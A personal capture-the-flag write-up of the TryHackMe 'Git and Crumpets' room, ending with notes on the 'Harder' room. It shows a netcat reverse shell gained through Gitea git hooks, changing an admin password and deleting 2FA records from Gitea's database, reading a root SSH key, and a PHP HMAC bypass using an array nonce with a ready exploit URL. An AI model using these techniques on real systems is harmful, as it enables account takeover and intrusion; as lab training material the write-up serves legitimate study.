THM: Git and Crumpets

This is Git and Crumpets from THM. It’s Medium rated. For the avoidance of any doubt: I generally don’t publicise my writeups, and this is no exception.

Ports

Well; hard to say. SSH and HTTP certainly; rustscan doesn’t like it and nmap isn’t super keen either - the box has ‘countermeasures’. Let’s assume those are the only open ports.

HTTP

The webpage redirects to Rick Astley on youtube, because of course it does. But we can see this in the page source:

        Hey guys,
           I set up the dev repos at git.git-and-crumpets.thm, but I haven't gotten around to setting up the DNS yet. 
           In the meantime, here's a fun video I found!
        Hydra

So we edit our /etc/hosts and go take a look.

Once we arrive at git.git-and-crumpets.thm, it’s Gitea: “A painless self-hosted Git service”. The exploit is explained here. It’s arguably not really an exploit, since if you explicitly allow your users to execute code, then yeah, they can execute code.

Anyway.

We can sign up, and then ‘explore’ the repos using the web interface. At /scones/cant-touch-this/commits/branch/master we find this:

I kept the password in my avatar to be more secure.

And we can download the avatar and run exiftool on it:

Description : My ‘Password’ should be easy enough to guess

So yes, it’s scones:password. We log out as our registered user and then back in as scones, and then we can create a repo and add a hook as described in the linked article. We need to make a commit to the repo from our attack machine. I don’t follow the article exactly; instead I clone the repo, add a file, commit and push back to remote, this is enough:

┌──(root💀kali)-[/opt/thm/crumpets]
└─# nc -nvlp 1234                                                                                                               
listening on [any] 1234 ...
connect to [10.9.10.123] from (UNKNOWN) [10.10.38.158] 39250
bash: cannot set terminal process group (853): Inappropriate ioctl for device                                      
bash: no job control in this shell                                                                                 
[git@git-and-crumpets shellington.git]$ id
id
uid=993(git) gid=990(git) groups=990(git) context=system_u:system_r:unconfined_service_t:s0
[git@git-and-crumpets shellington.git]$

Privesc

The privesc is reading the root account SSH key from a repo on Gitea. Apparently there are multiple ways to do it; what I did was:

  1. Find out who the admin user is
  2. Change his password (amazing we can do this)
  3. Disable 2FA on his account by deleting entries from the Gitea sqlite two_factor table
  4. Look through the web interface as the admin and find the prize
  5. SSH in and done.

Here’s what some of that looked like. Learn who is admin:

[git@git-and-crumpets ~]$ gitea admin user list --config /etc/gitea/app.ini
2021/07/03 05:54:56 ...dules/setting/git.go:101:newGit() [I] Git Version: 2.27.0, Wire Protocol Version 2 Enabled
ID   Username Email                  IsActive IsAdmin
1    hydra    hydragyrum@example.com true     true
2    root     root@example.com       true     false
3    scones   withcream@example.com  true     false
4    test     test@test.thm          true     false
5    user1    user@user.com          true     false

Change the password:

[git@git-and-crumpets ~]$ gitea admin user change-password --username hydra --password password --config /etc/gitea/app.ini
2021/07/03 05:56:11 ...dules/setting/git.go:101:newGit() [I] Git Version: 2.27.0, Wire Protocol Version 2 Enabled
hydra's password has been successfully updated!

Disable 2FA:

[git@git-and-crumpets data]$ ls -lash
total 1.3M
   0 drwxr-x---. 10 git git  159 Jul  3 06:26 .
   0 drwxr-xr-x.  5 git git   57 Apr 15 13:12 ..
   0 drwxr-xr-x.  2 git git    6 Apr 14 09:56 attachments
   0 drwxr-xr-x.  3 git git  217 Jul  3 05:43 avatars
1.3M -rw-r--r--.  1 git git 1.3M Jul  3 06:26 gitea.db
   0 drwxr-xr-x.  5 git git   45 Apr 15 15:50 gitea-repositories
   0 drwxr-xr-x.  4 git git   46 Apr 14 09:56 indexers
   0 drwxr-xr-x.  2 git git    6 Apr 14 09:56 lfs
   0 drwxr-xr-x.  7 git git  114 Apr 14 09:56 queues
   0 drwxr-xr-x.  2 git git    6 Apr 14 09:56 repo-avatars
   0 drwx------. 16 git git  132 Jul  3 05:44 sessions
[git@git-and-crumpets data]$ sqlite3 gitea.db
SQLite version 3.26.0 2018-12-01 12:34:55
Enter ".help" for usage hints.
sqlite> .tables
access                     org_user                 
access_token               project                  
action                     project_board            
# etc etc            
lfs_meta_object            tracked_time             
login_source               two_factor               
milestone                  u2f_registration         
mirror                     upload                   
notice                     user                     
notification               user_open_id             
oauth2_application         user_redirect            
oauth2_authorization_code  version                  
oauth2_grant               watch                    
oauth2_session             webhook  
sqlite> delete from two_factor;
sqlite> .quit

The key is at:

/root/backup/commit/0b23539d97978fc83b763ef8a4b3882d16e71d32

And the password is there too:

href=”/root/backup/src/commit/0b23539d97978fc83b763ef8a4b3882d16e71d32/.ssh/Sup3rS3cur3”

┌──(root💀kali)-[/opt/thm/crumpets]
└─# ssh -i id_rsa root@10.10.112.171         
Enter passphrase for key 'id_rsa': 
Last login: Fri Jul  2 23:11:30 2021
[root@git-and-crumpets ~]#

And that was about that. I also did harder, which I tried before and couldn’t get through. Even this time I had to check a write-up. I found the subdomains and dumped the git repo, but was stuck at the exploit. It’s explained here:

https://www.securify.nl/blog/spot-the-bug-challenge-2018-warm-up

The relevant code is here:

┌──(root💀kali)-[/opt/thm/harder/gitstuff]
└─# cat hmac.php 
<?php
if (empty($_GET['h']) || empty($_GET['host'])) {
   header('HTTP/1.0 400 Bad Request');
   print("missing get parameter");
   die();
}
require("secret.php"); //set $secret var
if (isset($_GET['n'])) {
   $secret = hash_hmac('sha256', $_GET['n'], $secret);
}

$hm = hash_hmac('sha256', $_GET['host'], $secret);
if ($hm !== $_GET['h']){
  header('HTTP/1.0 403 Forbidden');
  print("extra security check failed");
  die();
}
?>

But even though I can read PHP I’m not proficient enough with it to spot the bug. This line:

$secret = hash_hmac('sha256', $_GET['n'], $secret);

Is basically identical to the example:

$secret = hash_hmac('sha256', $_POST['nonce'], $secret);

From the linked article:

What happens when we supply an array for the nonce value? Well, hash_hmac will return false. Then, the new HMAC will be generated in the form of HMAC = hash_hmac(SHA256, $_POST['host'], false)! An attacker can now generate a valid HMAC for any message. For example:

hash_hmac('sha256', "securify.nl", false) = c8ef9458af67da9c9086078ad3acc8ae71713af4e27d35fd8d02d0078f7ca3f5

The URL for exploiting the vulnerability then looks like:

?nonce[]=&hostname=securify.nl&hmac=c8ef9458af67da9c9086078ad3acc8ae71713af4e27d35fd8d02d0078f7ca3f5

The article mentions:

The code stems from a vulnerability that was encountered in the wild.

The THM room says:

The machine is completely inspired by real world pentest findings. Perhaps you will consider them very challenging but without any rabbit holes. Once you have a shell it is very important to know which underlying linux distribution is used and where certain configurations are located.

I’m sure that’s true for the foothold but the privesc felt contrived to me; not sure if that’s fair or not. I certainly haven’t seen one of these with Alpine as the host OS before though.